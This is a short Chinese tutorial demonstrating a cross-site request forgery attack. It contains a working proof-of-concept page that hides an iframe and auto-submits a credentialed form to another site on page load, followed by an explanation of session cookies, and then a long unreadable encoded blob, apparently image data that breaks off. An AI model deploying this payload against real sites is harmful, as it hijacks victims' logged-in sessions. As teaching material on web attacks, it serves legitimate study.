1、攻击者在“页面1”中http://www.b.com/indexb.html中写下如下代码:

 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

 <html>

     <head>

         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

         <title>Welcome to CSRF</title>

     </head>

     <p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>

     <body>
<!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
<iframe hidden width=1000 heigth=100 src="#" srcdoc=' <form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
</form> <script>
var f = document.getElementById("register");
console.log(f.username.value);
f.username.value="test";
f.password.value="passwd";
//进行自动提交
document.form.submit();
</script> '></iframe> </body> </html>

2、当访问”页面1“时,这段代码向http://www.a.com/indexa.html发送了一个GET请求(当然POST也可以),而且是当用户访问的时候自动提交的。由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。假如用户在访问”页面1“之前已经访问过了网站”http://www.a.com/indexa.html“同域下的其他认证页面,这时,只要浏览器没有关闭或者重启的化(关闭认证的tab页没有影响),则临时cookie(一般认证通过设置cookie的方式实现)即session cookie会存在于内存中;在内存中的session cookie未消失之前,访问同域下的其他页面,浏览器就会在这些页面的header中带上cookie值。通过上面这样的方式便实现了授权的CSRF。

3、临时cookie存在于内存中,浏览器关闭或者重启,释放内存,才会清空临时cookie;本地cookie存在于硬盘上,只要到期后才会消失

4、IE浏览器目前不支持iframe的srcdoc属性,因此IE不适用本文,其他主流浏览器可以,如下所示:

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